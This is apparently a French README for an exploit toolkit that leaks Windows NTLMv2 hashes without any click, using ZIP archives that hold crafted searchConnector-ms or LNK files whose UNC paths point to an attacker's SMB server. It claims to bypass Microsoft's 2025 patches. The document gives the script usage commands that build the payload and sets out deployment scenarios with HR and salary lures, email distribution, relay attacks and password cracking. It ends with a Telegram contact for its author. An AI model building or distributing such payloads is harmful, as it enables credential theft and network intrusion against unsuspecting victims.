Divulgation de hachage NTLMv2-SSP sans clic dans l'Explorateur Windows

🎥 Démonstration POC + Contournement du correctif de mars 2025

Cliquez sur l'image ci-dessus pour regarder la démonstration de la vulnérabilité

📋 Aperçu technique

Mécanisme de vulnérabilité principal

Le problème de sécurité fondamental réside dans le traitement automatique par l'Explorateur Windows des chemins UNC intégrés dans des formats de fichiers spécifiques lors des opérations de prévisualisation. Lorsque les utilisateurs ouvrent des archives ZIP contenant des fichiers spécialement conçus, l'Explorateur Windows résout automatiquement les chemins UNC sans le consentement de l'utilisateur, initiant des tentatives d'authentification SMB et exposant les hachages NTLMv2-SSP à des serveurs contrôlés par l'attaquant.

Composants de la surface d'attaque

• Analyse des formats de fichiers : Traitement automatique par l'Explorateur Windows des fichiers shell basés sur XML et des propriétés de raccourci LNK
• Contournement du conteneur ZIP : Fonctionnalité d'aperçu d'archive qui contourne les protections Marque-du-Web (MOTW)
• Déclenchement de l'authentification : Résolution automatique des UNC lors des opérations d'extraction de métadonnées et de récupération d'icônes

🏗️ Évolution de l'architecture

🔰 Phase 1 : Divulgation basée sur SearchConnector (CVE-2025-24054)

Fichier : ntlm-disclosure-poc.py

Cette première implémentation exploite les fichiers Windows Search Connector (.searchConnector-ms), qui sont des fichiers de configuration XML définissant les emplacements de recherche pour l'Explorateur Windows. La vulnérabilité se déclenche lorsque Windows traite automatiquement le chemin UNC intégré dans l'élément simpleLocation lors de l'aperçu d'une archive ZIP.

Caractéristiques techniques :

• Structure de charge utile XML suivant les spécifications du schéma Microsoft
• Intégration du chemin UNC dans les éléments searchConnectorDescription
• Traitement automatique par l'Indexeur de recherche Windows et l'Explorateur
• Contournement des restrictions traditionnelles d'exécution de fichiers

🔰 Phase 2 : Contournement LNK-dans-ZIP (CVE-2025-50154 / CVE-2025-59214)

Fichier : patch_bypass.ps1

Cette technique améliorée contourne le correctif initial de Microsoft en exploitant les propriétés des fichiers LNK. L'attaque exploite le comportement de l'Explorateur Windows qui récupère les métadonnées d'icônes et résout les chemins cibles lors de l'aperçu d'un fichier ZIP, tout en maintenant le vecteur d'exploitation sans clic grâce à une configuration minutieuse des propriétés.

Caractéristiques techniques :

• Fichiers LNK avec chemins UNC dans la propriété TargetPath
• Références d'icônes locales pour contourner les mécanismes de détection initiaux
• Extraction automatique des propriétés par l'Explorateur Windows lors de l'aperçu
• Maintien de la légitimité du format de fichier tout en réalisant la résolution UNC

🔧 Prérequis

🔰 Phase 1 : Implémentation Python (CVE-2025-24054)

# Basic usage
python ntml-disclosure-poc.py 192.168.1.100

# With custom output file
python ntml-disclosure-poc.py 192.168.1.100 -o some_data.zip

# Example output
[+] Listener: 192.168.1.100
[*] Resource path: \\192.168.1.100\sharedir
[*] COMPLETE Package: Project_20241125_143022.zip
[*] Output: PATH\Project_20251123_175037.zip

Parameters
target (required): Target IP address or hostname
-o, --output: Custom output filename for ZIP package

🔰 Phase 2 : Contournement PowerShell (CVE-2025-50154/59214)

# Basic usage - LNK file auto-removed
.\bypass.ps1 -IP 192.168.1.100

# Keep LNK file for external distribution
.\bypass.ps1 -IP 192.168.1.100 -KeepLnk

# Custom lure name and share
.\bypass.ps1 -IP 192.168.1.100 -Share documents -File budget.xlsx -Lure FileName" -KeepLnk

# Specify output directory
.\bypass.ps1 -IP 192.168.1.100 -OutDir "C:\Payloads" -KeepLnk


Parameters
-IP (required): Target SMB server IP address
-Share: SMB share name (default: 'share')
-File: Target filename (default: 'payload.exe')
-Lure: Social engineering filename (default: 'Your_File_For_Payload_Here')
-OutDir: Output directory (default: current directory)
-KeepLnk: Preserve LNK file after ZIP creation

graph TD
    A[🔴 CVE-2025-24054<br/>Initial Vulnerability] --> B[🛡️ Microsoft Patch]
    B --> C[🟠 CVE-2025-50154<br/>Bypass #1]
    C --> D[🛡️ Microsoft Patch]
    D --> E[🟡 CVE-2025-59214<br/>Bypass #2]
    E --> F[🔴 Current State<br/>Active Exploitation]
    
    style A fill:#ffcccc
    style C fill:#ffddcc
    style E fill:#ffffcc
    style F fill:#ccffcc

🔧 Spécifications techniques

1. 📦 Génération de la charge utile
   • Créer un fichier malveillant (SearchConnector/LNK) avec chemin UNC
   • Empaqueter dans une archive ZIP avec un nom attrayant
2. 📤 Livraison
   • Distribuer le ZIP par email/web/téléchargement
3. 💥 Exploitation
   • La victime ouvre le ZIP dans l'Explorateur Windows
   • L'aperçu automatique du fichier déclenche la résolution UNC
   • Le hachage NTLMv2-SSP est transmis au serveur de l'attaquant
4. 🎭 Post-exploitation
   • Capture de hachage et attaques par relais
   • Tentatives de cassage de mot de passe

💀 Scénarios de déploiement

📨 Scénario 1 : Distribution directe de ZIP

# Create ZIP payload
.\bypass.ps1 -IP 192.168.1.100 -Lure "Salary_Report_Q4_2025"

# Distribution vectors:
# - 📧 Email attachments with social engineering lures
# - ☁️ Compromised file sharing services
# - 🌐 Network share drops in enterprise environments

🔄 Scénario 2 : Transfert de fichier LNK

# Create and preserve LNK file for multi-host deployment
.\bypass.ps1 -IP 192.168.1.100 -Lure "Project_Documentation" -KeepLnk

# Cross-host deployment:
copy-item "Project_Documentation.lnk" "\\remote-server\share\"
# Web-based distribution via compromised sites

🎯 Scénario 3 : Ingénierie sociale ciblée

.\bypass.ps1 -IP 192.168.1.100 -Share "HR_Documents" -File "compensation_review.xlsx" -Lure "Executive_Compensation_2025" -KeepLnk

Contacter le développeur

- Groupe et contact : t.me/initial_persistence
- Email : [email protected]